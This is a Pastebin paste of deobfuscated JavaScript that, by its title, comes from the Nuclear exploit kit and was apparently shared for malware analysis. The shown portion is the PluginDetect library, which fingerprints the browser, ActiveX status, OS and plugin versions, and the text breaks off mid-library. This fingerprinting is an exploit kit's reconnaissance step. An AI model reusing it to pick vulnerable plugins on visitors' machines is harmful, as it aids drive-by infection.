Advertisement
Kafeine

NuclearPack_Js_Deobfuscated_2014-04-02

Apr 2nd, 2014
560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var PluginDetect = {
  2.     version: "0.8.7",
  3.     name: "PluginDetect",
  4.     openTag: "<",
  5.     hasOwnProperty: ({}).constructor.prototype.hasOwnProperty,
  6.     hasOwn: function (c, d) {
  7.         var b, a;
  8.         try {
  9.             a = this.hasOwnProperty.call(c, d)
  10.         } catch (b) {}
  11.         return !!a
  12.     },
  13.     rgx: {
  14.         str: /string/i,
  15.         num: /number/i,
  16.         fun: /function/i,
  17.         arr: /array/i,
  18.         any: /Boolean|String|Number|Function|Array|Date|RegExp|Error/i
  19.     },
  20.     toString: ({}).constructor.prototype.toString,
  21.     isPlainObject: function (c) {
  22.         var a = this,
  23.             b;
  24.         if (!c || a.rgx.any.test(a.toString.call(c)) || c.window == c || a.rgx.num.test(a.toString.call(c.nodeType))) {
  25.             return 0
  26.         }
  27.         try {
  28.             if (!a.hasOwn(c, "constructor") && !a.hasOwn(c.constructor.prototype, "isPrototypeOf")) {
  29.                 return 0
  30.             }
  31.         } catch (b) {
  32.             return 0
  33.         }
  34.         return 1
  35.     },
  36.     isDefined: function (b) {
  37.         return typeof b != "undefined"
  38.     },
  39.     isArray: function (b) {
  40.         return this.rgx.arr.test(this.toString.call(b))
  41.     },
  42.     isString: function (b) {
  43.         return this.rgx.str.test(this.toString.call(b))
  44.     },
  45.     isNum: function (b) {
  46.         return this.rgx.num.test(this.toString.call(b))
  47.     },
  48.     isStrNum: function (b) {
  49.         return this.isString(b) && (/\d/).test(b)
  50.     },
  51.     isFunc: function (b) {
  52.         return this.rgx.fun.test(this.toString.call(b))
  53.     },
  54.     getNumRegx: /[\d][\d\.\_,\-]*/,
  55.     splitNumRegx: /[\.\_,\-]/g,
  56.     getNum: function (b, c) {
  57.         var d = this,
  58.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  59.         return a ? a[0] : null
  60.     },
  61.     compareNums: function (h, f, d) {
  62.         var e = this,
  63.             c, b, a, g = parseInt;
  64.         if (e.isStrNum(h) && e.isStrNum(f)) {
  65.             if (e.isDefined(d) && d.compareNums) {
  66.                 return d.compareNums(h, f)
  67.             }
  68.             c = h.split(e.splitNumRegx);
  69.             b = f.split(e.splitNumRegx);
  70.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  71.                 if (g(c[a], 10) > g(b[a], 10)) {
  72.                     return 1
  73.                 }
  74.                 if (g(c[a], 10) < g(b[a], 10)) {
  75.                     return -1
  76.                 }
  77.             }
  78.         }
  79.         return 0
  80.     },
  81.     formatNum: function (b, c) {
  82.         var d = this,
  83.             a, e;
  84.         if (!d.isStrNum(b)) {
  85.             return null
  86.         }
  87.         if (!d.isNum(c)) {
  88.             c = 4
  89.         }
  90.         c--;
  91.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  92.         for (a = 0; a < 4; a++) {
  93.             if (/^(0+)(.+)$/.test(e[a])) {
  94.                 e[a] = RegExp.$2
  95.             }
  96.             if (a > c || !(/\d/).test(e[a])) {
  97.                 e[a] = "0"
  98.             }
  99.         }
  100.         return e.slice(0, 4).join(",")
  101.     },
  102.     getPROP: function (d, b, a) {
  103.         var c;
  104.         try {
  105.             if (d) {
  106.                 a = d[b]
  107.             }
  108.         } catch (c) {}
  109.         return a
  110.     },
  111.     findNavPlugin: function (h) {
  112.         if (h.dbug) {
  113.             return h.dbug
  114.         }
  115.         if (window.navigator) {
  116.             var d = this,
  117.                 n = {
  118.                     Find: d.isString(h.find) ? new RegExp(h.find, "i") : h.find,
  119.                     Find2: d.isString(h.find2) ? new RegExp(h.find2, "i") : h.find2,
  120.                     Avoid: h.avoid ? (d.isString(h.avoid) ? new RegExp(h.avoid, "i") : h.avoid) : 0,
  121.                     Num: h.num ? /\d/ : 0
  122.                 }, f, c, g, j, m, l, b, a = navigator.mimeTypes,
  123.                 k = navigator.plugins,
  124.                 o = null;
  125.             if (h.mimes && a) {
  126.                 m = d.isArray(h.mimes) ? [].concat(h.mimes) : (d.isString(h.mimes) ? [h.mimes] : []);
  127.                 for (f = 0; f < m.length; f++) {
  128.                     c = 0;
  129.                     try {
  130.                         if (d.isString(m[f]) && /[^\s]/.test(m[f])) {
  131.                             c = a[m[f]].enabledPlugin
  132.                         }
  133.                     } catch (j) {}
  134.                     if (c) {
  135.                         g = d.findNavPlugin_(c, n);
  136.                         if (g.obj) {
  137.                             o = g.obj
  138.                         };
  139.                         if (o && !d.dbug) {
  140.                             return o
  141.                         }
  142.                     }
  143.                 }
  144.             }
  145.             if (h.plugins && k) {
  146.                 l = d.isArray(h.plugins) ? [].concat(h.plugins) : (d.isString(h.plugins) ? [h.plugins] : []);
  147.                 for (f = 0; f < l.length; f++) {
  148.                     c = 0;
  149.                     try {
  150.                         if (l[f] && d.isString(l[f])) {
  151.                             c = k[l[f]]
  152.                         }
  153.                     } catch (j) {}
  154.                     if (c) {
  155.                         g = d.findNavPlugin_(c, n);
  156.                         if (g.obj) {
  157.                             o = g.obj
  158.                         };
  159.                         if (o && !d.dbug) {
  160.                             return o
  161.                         }
  162.                     }
  163.                 }
  164.                 b = k.length;
  165.                 if (d.isNum(b)) {
  166.                     for (f = 0; f < b; f++) {
  167.                         c = 0;
  168.                         try {
  169.                             c = k[f]
  170.                         } catch (j) {}
  171.                         if (c) {
  172.                             g = d.findNavPlugin_(c, n);
  173.                             if (g.obj) {
  174.                                 o = g.obj
  175.                             };
  176.                             if (o && !d.dbug) {
  177.                                 return o
  178.                             }
  179.                         }
  180.                     }
  181.                 }
  182.             }
  183.         }
  184.         return o
  185.     },
  186.     findNavPlugin_: function (f, d) {
  187.         var e = this,
  188.             c = f.description || "",
  189.             b = f.name || "",
  190.             a = {};
  191.         if ((d.Find.test(c) && (!d.Find2 || d.Find2.test(b)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext))) || (d.Find.test(b) && (!d.Find2 || d.Find2.test(c)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext)))) {
  192.             if (!d.Avoid || !(d.Avoid.test(c) || d.Avoid.test(b))) {
  193.                 a.obj = f
  194.             }
  195.         }
  196.         return a
  197.     },
  198.     getVersionDelimiter: ",",
  199.     findPlugin: function (d) {
  200.         var c = this,
  201.             b, d, a = {
  202.                 status: -3,
  203.                 plugin: 0
  204.             };
  205.         if (!c.isString(d)) {
  206.             return a
  207.         }
  208.         if (d.length == 1) {
  209.             c.getVersionDelimiter = d;
  210.             return a
  211.         }
  212.         d = d.toLowerCase().replace(/\s/g, "");
  213.         b = c.Plugins[d];
  214.         if (!b || !b.getVersion) {
  215.             return a
  216.         }
  217.         a.plugin = b;
  218.         a.status = 1;
  219.         return a
  220.     },
  221.     getPluginFileVersion: function (d, h) {
  222.         var b = this,
  223.             a, c, i, j, f = -1,
  224.             g;
  225.         if (!d) {
  226.             return h
  227.         }
  228.         if (d.version) {
  229.             a = b.getNum(d.version + "")
  230.         };
  231.         if (!a || !h) {
  232.             return h || a || null
  233.         }
  234.         a = b.formatNum(a);
  235.         h = b.formatNum(h);
  236.         c = h.split(b.splitNumRegx);
  237.         i = a.split(b.splitNumRegx);
  238.         for (j = 0; j < c.length; j++) {
  239.             if (f > -1 && j > f && c[j] != "0") {
  240.                 return h
  241.             }
  242.             if (i[j] != c[j]) {
  243.                 if (f == -1) {
  244.                     f = j
  245.                 }
  246.                 if (c[j] != "0") {
  247.                     return h
  248.                 }
  249.             }
  250.         }
  251.         return a
  252.     },
  253.     AXO: (function () {
  254.         var b, a;
  255.         try {
  256.             b = new window.ActiveXObject()
  257.         } catch (a) {}
  258.         return b ? null : window.ActiveXObject
  259.     })(),
  260.     getAXO: function (a) {
  261.         var d = null,
  262.             c, b = this;
  263.         try {
  264.             d = new b.AXO(a)
  265.         } catch (c) {};
  266.         if (d) {
  267.             b.browser.ActiveXEnabled = !0
  268.         }
  269.         return d
  270.     },
  271.     browser: {},
  272.     INIT: function () {
  273.         this.init.library(this)
  274.     },
  275.     init: {
  276.         $: 1,
  277.         hasRun: 0,
  278.         objProperties: function (d, e, c) {
  279.             var a, b = {};
  280.             if (e && c) {
  281.                 if (e[c[0]] === 1 && d.hasOwn(e, c[0]) && d.isPlainObject(e)) {
  282.                     for (a = 0; a < c.length; a = a + 2) {
  283.                         e[c[a]] = c[a + 1];
  284.                         b[c[a]] = 1
  285.                     }
  286.                 }
  287.                 for (a in e) {
  288.                     if (e[a] && e[a][c[0]] === 1 && d.hasOwn(e, a) && !d.hasOwn(b, a)) {
  289.                         this.objProperties(d, e[a], c)
  290.                     }
  291.                 }
  292.             }
  293.         },
  294.         plugin: function (a, c) {
  295.             var d = this,
  296.                 b = d.$;
  297.             if (b.isPlainObject(a) && b.isFunc(a.getVersion)) {
  298.                 if (!b.isDefined(a.getVersionDone)) {
  299.                     a.installed = null;
  300.                     a.version = null;
  301.                     a.version0 = null;
  302.                     a.getVersionDone = null;
  303.                     a.pluginName = c
  304.                 }
  305.                 d.objProperties(b, a, ["$", b, "$$", a])
  306.             }
  307.         },
  308.         detectIE: function () {
  309.             var init = this,
  310.                 $ = init.$,
  311.                 browser = $.browser,
  312.                 doc = document,
  313.                 e, x, tmp, userAgent = window.navigator ? navigator.userAgent || "" : "",
  314.                 progid, progid1, progid2;
  315.             browser.ActiveXFilteringEnabled = !1;
  316.             browser.ActiveXEnabled = !1;
  317.             try {
  318.                 browser.ActiveXFilteringEnabled = !! window.external.msActiveXFilteringEnabled()
  319.             } catch (e) {}
  320.             progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  321.             progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl"];
  322.             progid = progid1.concat(progid2);
  323.             for (x = 0; x < progid.length; x++) {
  324.                 if ($.getAXO(progid[x]) && !$.dbug) {
  325.                     break
  326.                 }
  327.             }
  328.             if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
  329.                 for (x = 0; x < progid2.length; x++) {
  330.                     if ($.getAXO(progid2[x])) {
  331.                         browser.ActiveXFilteringEnabled = !1;
  332.                         break
  333.                     }
  334.                 }
  335.             };
  336.             tmp = doc.documentMode;
  337.             try {
  338.                 doc.documentMode = ""
  339.             } catch (e) {}
  340.             browser.isIE = browser.ActiveXEnabled || $.isNum(doc.documentMode) || eval("/*@cc_on!@*/!1");
  341.             try {
  342.                 doc.documentMode = tmp
  343.             } catch (e) {};
  344.             browser.verIE = null;
  345.             if (browser.isIE) {
  346.                 browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
  347.             }
  348.         },
  349.         detectNonIE: function () {
  350.             var f = this,
  351.                 d = this.$,
  352.                 a = d.browser,
  353.                 e = window.navigator ? navigator : {}, c = a.isIE ? "" : e.userAgent || "",
  354.                 g = e.vendor || "",
  355.                 b = e.product || "";
  356.             a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
  357.             a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
  358.             a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
  359.             a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
  360.             a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
  361.             a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
  362.             a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
  363.             a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
  364.         },
  365.         detectPlatform: function () {
  366.             var e = this,
  367.                 d = e.$,
  368.                 b, a = window.navigator ? navigator.platform || "" : "";
  369.             d.OS = 100;
  370.             if (a) {
  371.                 var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  372.                 for (b = c.length - 2; b >= 0; b = b - 2) {
  373.                     if (c[b] && new RegExp(c[b], "i").test(a)) {
  374.                         d.OS = c[b + 1];
  375.                         break
  376.                     }
  377.                 }
  378.             }
  379.         },
  380.         library: function (b) {
  381.             var d = this,
  382.                 c = document,
  383.                 a;
  384.             d.objProperties(b, b, ["$", b]);
  385.             for (a in b.Plugins) {
  386.                 if (b.hasOwn(b.Plugins, a)) {
  387.                     d.plugin(b.Plugins[a], a)
  388.                 }
  389.             };
  390.             b.PUBLIC.init();
  391.             b.win.init();
  392.             b.head = c.getElementsByTagName("head")[0] || c.getElementsByTagName("body")[0] || c.body || null;
  393.             d.detectPlatform();
  394.             d.detectIE();
  395.             d.detectNonIE();
  396.             d.hasRun = 1
  397.         }
  398.     },
  399.     ev: {
  400.         $: 1,
  401.         handler: function (d, c, b, a) {
  402.             return function () {
  403.                 d(c, b, a)
  404.             }
  405.         },
  406.         fPush: function (b, a) {
  407.             var c = this,
  408.                 d = c.$;
  409.             if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  410.                 a.push(b)
  411.             }
  412.         },
  413.         call0: function (d) {
  414.             var b = this,
  415.                 c = b.$,
  416.                 a = c.isArray(d) ? d.length : -1;
  417.             if (a > 0 && c.isFunc(d[0])) {
  418.                 d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  419.             } else {
  420.                 if (c.isFunc(d)) {
  421.                     d(c)
  422.                 }
  423.             }
  424.         },
  425.         callArray0: function (a) {
  426.             var b = this,
  427.                 d = b.$,
  428.                 c;
  429.             if (d.isArray(a)) {
  430.                 while (a.length) {
  431.                     c = a[0];
  432.                     a.splice(0, 1);
  433.                     b.call0(c)
  434.                 }
  435.             }
  436.         },
  437.         call: function (b) {
  438.             var a = this;
  439.             a.call0(b);
  440.             a.ifDetectDoneCallHndlrs()
  441.         },
  442.         callArray: function (a) {
  443.             var b = this;
  444.             b.callArray0(a);
  445.             b.ifDetectDoneCallHndlrs()
  446.         },
  447.         allDoneHndlrs: [],
  448.         ifDetectDoneCallHndlrs: function () {
  449.             var c = this,
  450.                 d = c.$,
  451.                 a, b;
  452.             if (!c.allDoneHndlrs.length) {
  453.                 return
  454.             }
  455.             if (d.win) {
  456.                 if (!d.win.loaded || d.win.loadPrvtHndlrs.length || d.win.loadPblcHndlrs.length) {
  457.                     return
  458.                 }
  459.             }
  460.             if (d.Plugins) {
  461.                 for (a in d.Plugins) {
  462.                     b = d.Plugins[a];
  463.                     if (d.hasOwn(d.Plugins, a) && b && d.isFunc(b.getVersion)) {
  464.                         if (b.OTF == 3 || (b.DoneHndlrs && b.DoneHndlrs.length)) {
  465.                             return
  466.                         }
  467.                     }
  468.                 }
  469.             };
  470.             c.callArray0(c.allDoneHndlrs)
  471.         }
  472.     },
  473.     PUBLIC: {
  474.         $: 1,
  475.         init: function () {
  476.             var c = this,
  477.                 b = c.$,
  478.                 a;
  479.             for (a in c) {
  480.                 if (a !== "init" && b.hasOwn(c, a) && b.isFunc(c[a])) {
  481.                     b[a] = c[a](b)
  482.                 }
  483.             }
  484.         },
  485.         isMinVersion: function (b) {
  486.             var a = function (j, h, e, d) {
  487.                 var f = b.findPlugin(j),
  488.                     g, c = -1;
  489.                 if (f.status < 0) {
  490.                     return f.status
  491.                 }
  492.                 g = f.plugin;
  493.                 h = b.formatNum(b.isNum(h) ? h.toString() : (b.isStrNum(h) ? b.getNum(h) : "0"));
  494.                 if (g.getVersionDone != 1) {
  495.                     g.getVersion(h, e, d);
  496.                     if (g.getVersionDone === null) {
  497.                         g.getVersionDone = 1
  498.                     }
  499.                 }
  500.                 if (g.installed !== null) {
  501.                     c = g.installed <= 0.5 ? g.installed : (g.installed == 0.7 ? 1 : (g.version === null ? 0 : (b.compareNums(g.version, h, g) >= 0 ? 1 : -0.1)))
  502.                 };
  503.                 return c
  504.             };
  505.             return a
  506.         },
  507.         getVersion: function (b) {
  508.             var a = function (h, e, d) {
  509.                 var f = b.findPlugin(h),
  510.                     g, c;
  511.                 if (f.status < 0) {
  512.                     return null
  513.                 };
  514.                 g = f.plugin;
  515.                 if (g.getVersionDone != 1) {
  516.                     g.getVersion(null, e, d);
  517.                     if (g.getVersionDone === null) {
  518.                         g.getVersionDone = 1
  519.                     }
  520.                 }
  521.                 c = (g.version || g.version0);
  522.                 c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  523.                 return c
  524.             };
  525.             return a
  526.         },
  527.         onDetectionDone: function (b) {
  528.             var a = function (j, h, d, c) {
  529.                 var e = b.findPlugin(j),
  530.                     k, g;
  531.                 if (e.status == -3) {
  532.                     return -1
  533.                 }
  534.                 g = e.plugin;
  535.                 if (!b.isArray(g.DoneHndlrs)) {
  536.                     g.DoneHndlrs = []
  537.                 };
  538.                 if (g.getVersionDone != 1) {
  539.                     k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  540.                 }
  541.                 if (g.installed != -0.5 && g.installed != 0.5) {
  542.                     b.ev.call(h);
  543.                     return 1
  544.                 }
  545.                 b.ev.fPush(h, g.DoneHndlrs);
  546.                 return 0
  547.             };
  548.             return a
  549.         },
  550.         hasMimeType: function (b) {
  551.             var a = function (h) {
  552.                 if (h && window.navigator && navigator.mimeTypes) {
  553.                     var l, k, d, j, g, c = navigator.mimeTypes,
  554.                         f = b.isArray(h) ? [].concat(h) : (b.isString(h) ? [h] : []);
  555.                     g = f.length;
  556.                     for (d = 0; d < g; d++) {
  557.                         l = 0;
  558.                         try {
  559.                             if (b.isString(f[d]) && /[^\s]/.test(f[d])) {
  560.                                 l = c[f[d]]
  561.                             }
  562.                         } catch (j) {}
  563.                         k = l ? l.enabledPlugin : 0;
  564.                         if (k && (k.name || k.description)) {
  565.                             return l
  566.                         }
  567.                     }
  568.                 };
  569.                 return null
  570.             };
  571.             return a
  572.         },
  573.         z: 0
  574.     },
  575.     codebase: {
  576.         $: 1,
  577.         isDisabled: function () {
  578.             var b = this,
  579.                 c = b.$,
  580.                 a = c.browser;
  581.             return a.ActiveXEnabled && a.isIE && a.verIE >= 7 ? 0 : 1
  582.         },
  583.         pluginMayBeHanging: function (b) {
  584.             var c = this,
  585.                 d = c.$,
  586.                 a;
  587.             if (!c.isDisabled() && b && d.isDefined(d.getPROP(b, "readyState")) && d.getPROP(b.firstChild, "object")) {
  588.                 a = d.getPROP(b.firstChild, "readyState");
  589.                 if (d.isNum(a) && a != 4) {
  590.                     return 1
  591.                 }
  592.             }
  593.             return 0
  594.         },
  595.         emptyNode: function (b) {
  596.             var a = this,
  597.                 c = a.$,
  598.                 d;
  599.             try {
  600.                 b.innerHTML = ""
  601.             } catch (d) {}
  602.         },
  603.         emptyGarbage: function () {
  604.             var c = this,
  605.                 d = c.$,
  606.                 f, a, g = c.HTML,
  607.                 b = 0;
  608.             if (!g.length) {
  609.                 return
  610.             };
  611.             for (a = g.length - 1; a >= c.len; a--) {
  612.                 if (g[a] && g[a].span && c.pluginMayBeHanging(g[a].span)) {
  613.                     c.emptyNode(g[a].span);
  614.                     g[a].span = null;
  615.                     b = 1
  616.                 }
  617.             }
  618.             c.len = g.length;
  619.             if (b) {
  620.                 try {
  621.                     window.CollectGarbage()
  622.                 } catch (f) {}
  623.             }
  624.         },
  625.         HTML: [],
  626.         len: 0,
  627.         onDone: function (c, b) {
  628.             var a, f = b.HTML,
  629.                 d;
  630.             for (a = 0; a < f.length; a++) {
  631.                 if (f[a] && f[a].span) {
  632.                     b.emptyNode(f[a].span);
  633.                     f[a].span = null
  634.                 }
  635.             }
  636.         },
  637.         init: function (e) {
  638.             if (!e.init) {
  639.                 e.init = 1;
  640.                 var c = this,
  641.                     d = c.$,
  642.                     a, b;
  643.                 d.ev.fPush([c.onDone, c], d.win.unloadHndlrs);
  644.                 e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  645.                 b = e.classID || e.$$.classID || "";
  646.                 e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + d.openTag + "/object>";
  647.                 for (a = 0; a < e.Lower.length; a++) {
  648.                     e.Lower[a] = d.formatNum(e.Lower[a]);
  649.                     e.Upper[a] = d.formatNum(e.Upper[a])
  650.                 }
  651.             }
  652.         },
  653.         isActiveXObject: function (i, b) {
  654.             var f = this,
  655.                 g = f.$,
  656.                 a = 0,
  657.                 h, d = i.$$,
  658.                 c = document.createElement("span");
  659.             if (i.min && g.compareNums(b, i.min) <= 0) {
  660.                 return 1
  661.             }
  662.             if (i.max && g.compareNums(b, i.max) >= 0) {
  663.                 return 0
  664.             }
  665.             c.innerHTML = i.tagA + b + i.tagB;
  666.             if (g.getPROP(c.firstChild, "object")) {
  667.                 a = 1
  668.             };
  669.             if (a) {
  670.                 i.min = b;
  671.                 f.HTML.push({
  672.                     span: c
  673.                 })
  674.             } else {
  675.                 i.max = b;
  676.                 c.innerHTML = ""
  677.             }
  678.             return a
  679.         },
  680.         convert_: function (f, a, b, e) {
  681.             var d = f.convert[a],
  682.                 c = f.$;
  683.             return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  684.         },
  685.         convert: function (h, c, g) {
  686.             var e = this,
  687.                 f = h.$,
  688.                 b, a, d;
  689.             c = f.formatNum(c);
  690.             a = {
  691.                 v: c,
  692.                 x: -1
  693.             };
  694.             if (c) {
  695.                 for (b = 0; b < h.Lower.length; b++) {
  696.                     d = e.convert_(h, b, h.Lower[b]);
  697.                     if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  698.                         a.v = e.convert_(h, b, c, g);
  699.                         a.x = b;
  700.                         break
  701.                     }
  702.                 }
  703.             }
  704.             return a
  705.         },
  706.         isMin: function (g, f) {
  707.             var d = this,
  708.                 e = g.$,
  709.                 c, b, a = 0;
  710.             if (!e.isStrNum(f) || d.isDisabled()) {
  711.                 return a
  712.             }
  713.             d.init(g);
  714.             if (!g.L) {
  715.                 g.L = {};
  716.                 for (c = 0; c < g.Lower.length; c++) {
  717.                     if (d.isActiveXObject(g, g.Lower[c])) {
  718.                         g.L = d.convert(g, g.Lower[c]);
  719.                         break
  720.                     }
  721.                 }
  722.             }
  723.             if (g.L.v) {
  724.                 b = d.convert(g, f, 1);
  725.                 if (b.x >= 0) {
  726.                     a = (g.L.x == b.x ? d.isActiveXObject(g, b.v) : e.compareNums(f, g.L.v) <= 0) ? 1 : -1
  727.                 }
  728.             };
  729.             return a
  730.         },
  731.         search: function (g) {
  732.             var k = this,
  733.                 h = k.$,
  734.                 i = g.$$,
  735.                 b = 0,
  736.                 c;
  737.             c = g.searchHasRun || k.isDisabled() ? 1 : 0;
  738.             g.searchHasRun = 1;
  739.             if (c) {
  740.                 return g.version || null
  741.             }
  742.             k.init(g);
  743.             var o, n, m, j = function (q, t) {
  744.                     var r = [].concat(f),
  745.                         s;
  746.                     r[q] = t;
  747.                     s = k.isActiveXObject(g, r.join(","));
  748.                     if (s) {
  749.                         b = 1;
  750.                         f[q] = t
  751.                     } else {
  752.                         p[q] = t
  753.                     }
  754.                     return s
  755.                 }, d = g.DIGITMAX,
  756.                 e, a, l = 99999999,
  757.                 f = [0, 0, 0, 0],
  758.                 p = [0, 0, 0, 0];
  759.             for (o = 0; o < p.length; o++) {
  760.                 f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  761.                 e = f.join(",");
  762.                 a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  763.                 for (m = 0; m < d.length; m++) {
  764.                     if (h.isArray(d[m])) {
  765.                         d[m].push(0);
  766.                         if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  767.                             p[o] = Math.floor(d[m][o])
  768.                         }
  769.                     }
  770.                 }
  771.                 for (n = 0; n < 30; n++) {
  772.                     if (p[o] - f[o] <= 16) {
  773.                         for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  774.                             if (j(o, m)) {
  775.                                 break
  776.                             }
  777.                         }
  778.                         break
  779.                     }
  780.                     j(o, Math.round((p[o] + f[o]) / 2))
  781.                 }
  782.                 if (!b) {
  783.                     break
  784.                 }
  785.                 p[o] = f[o]
  786.             }
  787.             if (b) {
  788.                 g.version = k.convert(g, f.join(",")).v
  789.             };
  790.             return g.version || null
  791.         }
  792.     },
  793.     win: {
  794.         $: 1,
  795.         loaded: false,
  796.         hasRun: 0,
  797.         init: function () {
  798.             var b = this,
  799.                 a = b.$;
  800.             if (!b.hasRun) {
  801.                 b.hasRun = 1;
  802.                 b.onLoad = a.ev.handler(b.$$onLoad, a);
  803.                 b.onUnload = a.ev.handler(b.$$onUnload, a);
  804.                 b.addEvent("load", b.onLoad);
  805.                 b.addEvent("unload", b.onUnload)
  806.             }
  807.         },
  808.         addEvent: function (c, b) {
  809.             var e = this,
  810.                 d = e.$,
  811.                 a = window;
  812.             if (d.isFunc(b)) {
  813.                 if (a.addEventListener) {
  814.                     a.addEventListener(c, b, false)
  815.                 } else {
  816.                     if (a.attachEvent) {
  817.                         a.attachEvent("on" + c, b)
  818.                     } else {
  819.                         a["on" + c] = e.concatFn(b, a["on" + c])
  820.                     }
  821.                 }
  822.             }
  823.         },
  824.         concatFn: function (d, c) {
  825.             return function () {
  826.                 d();
  827.                 if (typeof c == "function") {
  828.                     c()
  829.                 }
  830.             }
  831.         },
  832.         loadPrvtHndlrs: [],
  833.         loadPblcHndlrs: [],
  834.         unloadHndlrs: [],
  835.         $$onUnload: function (b) {
  836.             if (b && b.win) {
  837.                 b.ev.callArray(b.win.unloadHndlrs);
  838.                 for (var a in b) {
  839.                     b[a] = 0
  840.                 }
  841.                 b = 0
  842.             }
  843.         },
  844.         count: 0,
  845.         countMax: 1,
  846.         intervalLength: 10,
  847.         $$onLoad: function (a) {
  848.             if (!a || a.win.loaded) {
  849.                 return
  850.             }
  851.             var b = a.win;
  852.             if (b.count < b.countMax && b.loadPrvtHndlrs.length) {
  853.                 setTimeout(b.onLoad, b.intervalLength)
  854.             } else {
  855.                 b.loaded = true;
  856.                 a.ev.callArray(b.loadPrvtHndlrs);
  857.                 a.ev.callArray(b.loadPblcHndlrs)
  858.             }
  859.             b.count++
  860.         }
  861.     },
  862.     DOM: {
  863.         $: 1,
  864.         isEnabled: {
  865.             $: 1,
  866.             objectTag: function () {
  867.                 var a = this.$;
  868.                 return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  869.             },
  870.             objectTagUsingActiveX: function () {
  871.                 return this.$.browser.ActiveXEnabled
  872.             },
  873.             objectProperty: function () {
  874.                 var a = this.$;
  875.                 return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
  876.             }
  877.         },
  878.         div: null,
  879.         divID: "plugindetect",
  880.         divWidth: 300,
  881.         getDiv: function () {
  882.             var a = this;
  883.             return a.div || document.getElementById(a.divID) || null
  884.         },
  885.         initDiv: function () {
  886.             var b = this,
  887.                 c = b.$,
  888.                 a;
  889.             if (!b.div) {
  890.                 a = b.getDiv();
  891.                 if (a) {
  892.                     b.div = a
  893.                 } else {
  894.                     b.div = document.createElement("div");
  895.                     b.div.id = b.divID;
  896.                     b.setStyle(b.div, b.getStyle.div());
  897.                     b.insertDivInBody(b.div)
  898.                 }
  899.                 c.ev.fPush([b.onWinUnloadEmptyDiv, b], c.win.unloadHndlrs)
  900.             }
  901.         },
  902.         pluginSize: 1,
  903.         altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  904.         emptyNode: function (c) {
  905.             var b = this,
  906.                 d = b.$,
  907.                 a, f;
  908.             if (c && (/div|span/i).test(c.tagName || "")) {
  909.                 if (d.browser.isIE) {
  910.                     b.setStyle(c, ["display", "none"])
  911.                 }
  912.                 try {
  913.                     c.innerHTML = ""
  914.                 } catch (f) {}
  915.             }
  916.         },
  917.         onWinUnloadEmptyDiv: function (f, d) {
  918.             var b = d.getDiv(),
  919.                 a, c, g;
  920.             if (b) {
  921.                 if (b.childNodes) {
  922.                     for (a = b.childNodes.length - 1; a >= 0; a--) {
  923.                         c = b.childNodes[a];
  924.                         d.emptyNode(c)
  925.                     }
  926.                     try {
  927.                         b.innerHTML = ""
  928.                     } catch (g) {}
  929.                 }
  930.                 if (b.parentNode) {
  931.                     try {
  932.                         b.parentNode.removeChild(b)
  933.                     } catch (g) {}
  934.                     b = null;
  935.                     d.div = null
  936.                 }
  937.             }
  938.         },
  939.         width: function () {
  940.             var g = this,
  941.                 e = g.DOM,
  942.                 f = e.$,
  943.                 d = g.span,
  944.                 b, c, a = -1;
  945.             b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  946.             c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  947.             return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  948.         },
